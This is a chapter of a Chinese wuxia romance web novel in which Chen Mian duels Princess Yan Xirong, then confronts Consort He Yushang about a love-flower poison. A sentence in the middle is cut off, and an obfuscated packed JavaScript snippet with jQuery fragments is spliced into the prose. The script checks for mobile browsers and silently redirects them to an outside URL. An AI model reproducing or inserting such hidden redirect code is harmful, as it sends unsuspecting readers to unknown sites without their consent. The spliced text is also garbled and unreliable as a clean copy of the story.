燕惜荣出招很快,沉眠一时有点吃力,不过很快她俩便缠斗在一起。
燕惜荣目光阴沉,发髻也散了个七七八八,满头青丝飘扬,招式越来越无章法,看起来好似要走火入魔。
她们打的很密,燕惜荣内力又凶又乱,沉眠直至有一点空隙,才有机会解释,她忙粗着嗓子说道:“姑娘,你怎可听信一面之词,别说那个什么引光亭了,就是那地方,我们也只在外边溜达。”
沉眠说起这话来,脸不红心不跳,表情还非常委屈惶恐,对于燕惜荣的步步紧逼,也没有出一次杀招。
外边那群守卫可不是吃素的,再说沉眠不想惹麻烦,郡主要是死她手上,她都不用想就知道自己会出现在一张张通缉单上。
首当其冲的必是正武门少主——东方芝。毕竟燕惜荣与他是未婚夫妻,情投意合,两情相悦。
他厌自己至极,保不准就是什么千刀万剐。
沉眠打着打着,发现燕惜荣平静下来,看向她身后的逢昭。
不是,还要和逢昭打一场?沉眠有些慌,燕惜荣能和她打的有来有回,还不是因为她俩实力比较接近。
可和逢昭并不匹配啊,天赋差距就摆在这儿,沉眠自认为自己也算是根骨奇佳,可跟逢昭比起来还是逊色。
他好似就与那些功法、招式浑然一体了。只有他可以发挥出极限,并且还能在已有的基础上另辟蹊径,动不动就搞一套融合。
能出一招就不出第二招,实力恐怖如斯。
“昭——阿弟,你别怕,这姑娘就是误会了,你等阿兄和她好好说说。”
沉眠刚想脱口而出“昭昭”二字,连忙打了个转弯。燕惜荣看上去没有认出她,沉眠对此比较满意,少了好些麻烦。
但她突然就怔了,还是盯着后面的逢昭瞧。
“姑娘,那我们走了,已经耽搁太多时间了。”沉眠挡住燕惜荣的视线,对她嬉皮笑脸,“真没有进去,我要是进去了,这一辈子都讨不到夫人!”
忽的,沉眠感觉自己手上覆上冰凉,她下意识地牵了,对逢昭笑:“等得急了?”
不等逢昭回答,沉眠看向燕惜荣,脸上好似着急地模样,“姑娘你看,我阿弟催我了,我们还有大事要办,实在不宜逗留过久。”
“你……阿弟?”燕惜荣嗓子有点哑,还是直勾勾地盯着逢昭。
要不是沉眠知道她和东方芝的情意,还以为她看上逢昭了。
看屁啊!沉眠险些要稳不住笑脸,她脾气一直算不得多好,要不是有所顾虑,她非得给燕惜荣一点颜色瞧瞧。
“你不开心。”逢昭把沉眠牵紧了点,没有什么要压低声量的意思,“阿兄,我们走吧。”
说罢,逢昭带着沉眠直接与燕惜荣擦肩而过。
沉眠不放心,转过头望着燕惜荣,她还是那个姿势没变,身体好似摇摇欲坠,脸上也没有半分神采。
跟刚刚那个杀伐果决,高高在上的郡主一点也不一样。她还在执拗地看着逢昭的背影,似乎要把他看透一般,不过到底没有追上来。
沉眠走出来,那群暗卫处理的很干净,把地一擦,再铺上点东西,就好似这里从来没有死过人。
依旧还是鸟语花香,地上宽敞而干净。
沉眠放下心来,燕惜荣没有追上来,也没准备让那群侍卫堵杀,不管她相不相信,都是一件好事。
不过他们得赶紧问好路,不然等燕惜荣反应过来,又得好一阵子纠缠。
沉眠看着逢昭脸上的面具,依旧戴的稳稳当当。不可否认,他即使不露出这张脸,也很是吸引人。
可…燕惜荣为什么对逢昭的反应那么大,难道她与东方芝许久不见,对他春心萌动了?
想到这,沉眠赶快摇头,春心萌动不太可能,燕惜荣又不是个普通女子,怎么会满脑子想着情和爱。
那她与逢昭曾经有过什么渊源?她又是怎么认出逢昭的,只凭身形的话,逢昭确实也挺好认的,可她刚刚那个位置,应当不太看得清逢昭的身形吧。
只凭一眼就可以认出来的关系,绝对不会普通。
沉眠头脑风暴,也不打算藏着掖着,直接了当地问出来:“昭昭,你与这燕郡主认识吗?”
“嗯。”逢昭没有打算隐瞒,他低头看着沉眠,目光清澈如水,好似沉眠问什么他都会说出来。
不过沉眠不打算问了。
逢昭既然不主动说,说明燕惜荣和他认识这事,没有什么要提及的。
沉眠隐隐觉得这与他的身世有关,她不愿意让逢昭想起这些不好的往事,干脆就不问了。
“好。”沉眠说道,和逢昭聊起那胖管家来。
不需要什么人带路,沉眠也能知道燕王妃住哪。她早就探查过燕王府的布局和大概,这燕王妃就住那最豪华的一处。
很好认,像一座小型宫殿一样。
进入那殿,远比沉眠想象地要奢侈浮华许多。
不过沉眠向来喜欢的奇珍异宝是武功秘籍那类,对于殿内这堆华贵的东西,她就唯独喜欢黄金样式的。
抠抠搜搜下来,可以吃几辈子的饭了。
不过令让人惑的是,这燕王府里侍奉的人好像不是很多。在沉眠的印象里,这种天潢贵胄,下人都是前呼后拥,热热闹闹的。
可这燕王府着实太低调了点,一路走来竟没看到多少个人,大多还低着头唯唯诺诺。
连王妃这里也是过于安静了。
“昭昭,你觉得那王妃在哪?”这地方太眼花缭乱,沉眠眯着眼睛看来看去,也是一排高大恢宏的屋子。
没有什么与众不同的,实在不好辨认那王妃会在哪。
“那处。”逢昭指了个方向,沉眠立马拉着他往那边去了。
进入那殿内后。
恰好,燕王妃的目光投了过来。
果然肌肤赛雪,甚至到了病态的地步,眉目风情,容貌还是年轻的模样。
她打量着沉眠,看上去有点漫不经心,嘴角却有意无意地挂上笑容。
沉眠自然不打算请什么安。这燕王妃这么奢靡的样子,实在和传闻不符,又有那管家一事,她实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454336|185317||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在不想为这么个人弓个腰。
这女人,居然还利用她和逢昭去惹燕惜荣不痛快,害他们平白无故的触上这个霉头,别提有多憋屈。
果然啊,沉眠摸了摸白练,是林鸾飞口中的毒妇,她也瞧这毒妇不上。
把齿花这么大大咧咧种着一片,真是不把人当人看,难怪下人这么少,都当肥料去了吧。
沉眠虽心里腹诽,面上却半分不显,也对这王妃露出一个大大的笑容。
最后还是何羽裳先开的口:“这位公子,你拜帖中所说何意,本妃中了毒?”
何羽裳眼底飘过一丝轻蔑,她处处小心,时不时就差太医来看,会中哪门子的毒?
这次让他们进来也是故意寻燕惜荣不快,谁叫一群人都不敢去僻竹居呢,只能弄些个不知情的人去恶心恶心燕惜荣了。
可是…这二人居然能安然无恙的出现在她面前,何羽裳十分诧异。她到是要看看这二人身上究竟有哪处是特别的,可以被燕惜荣那个小疯子放过。
于是没让人阻止,让沉眠二人进了门来。
“当然是情花毒啊,你我心知肚明。”沉眠直接开门见山,暴露身份就暴露身份,何羽裳又不能动她,她还得靠自己救命。
毕竟这王妃可是很惜命呢,沉眠探燕王府时,就见一堆太医出出入入,都忙着给她炼丹。
还要给她准备什么养生茶、活络丸、药汤浴,一大把花样。搞得随时随地就能入土一样,看的沉眠连连惊叹。
“你是沉眠,你居然还没死!”何羽裳感觉到一种前所未有的慌乱,沉眠让她想起了一桩往事。
一桩她不愿回想,成为梦魇的往事。
她怕沉眠已经知道,要和厉鬼一同索她的命,那厉鬼沉淀这么多年,一定厉害的要紧,她会听沉眠的话,然后一齐找准机会拖她下地狱。
何羽裳想着出了一身冷汗,强装镇定,正准备说些什么。
耳旁突然刮过一道劲风,她看过去,身旁娇艳的齿花应声而落大片。甚至花后面的墙,都被划开一道深深的口子——是沉眠身边那个郎君。
逢昭收回手,目光冷厉,阴鸷的杀意看的何羽裳一骇,她总觉得这个眼神很熟悉,像极了燕惜荣那个小疯子。
“你怎么还没死。”逢昭撇了一眼何羽裳,语气一如平常,尾音却微微下沉,了解他的人都知道,他这是动怒了。
“昭昭,你也讨厌这女人啊,以后要是有机会把她宰了!”沉眠低声道,拢着逢昭温度较低的手。
她以为逢昭是被这女人恶心到,才忍不住出手。
虽然挺爽的,谁叫那女人咒她,但沉眠想到逢昭的伤,又有些担心。
刚才那道内力太劲了,沉眠怕他扯到伤口,不放心地探了探,还好没有什么大碍。内力没有紊乱,应当是伤快要恢复。
沉眠放心地收回手,就见刚刚还一身煞气的逢昭唇边泻出一丝笑意。
他最近爱笑了一点,沉眠想着。
逢昭每次对她笑,她就心跳得好快,好像见到了芳菲里最爱的逢昭花。